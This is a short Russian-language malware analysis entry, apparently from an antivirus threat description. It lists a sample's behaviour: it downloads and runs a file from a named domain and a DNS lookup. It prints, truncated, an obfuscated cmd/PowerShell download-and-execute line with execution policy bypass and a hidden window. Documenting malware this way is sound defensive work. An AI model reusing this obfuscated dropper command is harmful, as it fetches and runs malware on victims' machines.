Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://vvorootad.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PoWER^s^h^eL^l.^eX^E -^Ex^Ec^uti^oN^p^o^L^I^C^y^ ^ByPASS^ -nO^pR^OFiL^e -^Win^DoW^St^YLe^ hiDdEN (^nEw-ObJEc^t ^sys^t^e^m.nE^T.wEBc^l^ieNT^).D^O^WNl^oAd^fi^le^(^'http://vvo...
Сетевая активность
UDP
- DNS ASK vv###otad.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PoWER^s^h^eL^l.^eX^E -^Ex^Ec^uti^oN^p^o^L^I^C^y^ ^ByPASS^ -nO^pR^OFiL^e -^Win^DoW^St^YLe^ hiDdEN (^nEw-ObJEc^t ^sys^t^e^m.nE^T.wEBc^l^ieNT^).D^O^WNl^oAd^fi^le^(^'http://vvo...' (со скрытым окном)
